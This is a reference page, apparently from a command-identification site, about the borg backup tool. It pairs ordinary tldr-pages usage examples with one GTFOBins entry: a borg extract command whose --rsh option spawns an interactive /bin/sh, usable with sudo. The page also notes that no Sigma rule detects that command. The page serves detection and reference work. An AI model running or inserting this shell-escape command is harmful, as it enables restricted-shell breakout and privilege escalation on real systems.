Identifier / Programs / Linux and Unix

borg

Deduplicating backup tool. Create local or remote backups that are mountable as filesystems. tldr-pages

GTFOBins shell 1 ATT&CK technique 1 documented command

How borg is abused

documented by GTFOBins

shell T1059.004 Command and Scripting Interpreter: Unix Shell

extract

--rsh

-c

Each abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for borg.

1 documented command

from GTFOBins, each read by the identifier

shell unprivileged, with sudo

borg extract @:/::: --rsh "/bin/sh -c '/bin/sh </dev/tty >/dev/tty 2>/dev/tty'"

Identify

The command the identifier reads trips no Sigma process-creation rule. This command is from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for borg. The identifier reads the line that runs borg.

What detects it

Sigma process creation rules

T1059.004Command and Scripting Interpreter: Unix Shell

Everyday use

from tldr-pages, CC BY 4.0

Initialize a repository

borg init --encryption repokey path/to/repo_directoryIdentify

Back up a directory into the repository, creating an archive called "Monday"

borg create --progress path/to/repo_directory::Monday path/to/source_directoryIdentify

List all archives in a repository

borg list path/to/repo_directoryIdentify

None of the 3 examples the identifier reads matches GTFOBins abuse or trips a Sigma process-creation rule.

borg

How borg is abused

1 documented command

What detects it

Everyday use

Other programs abused for shell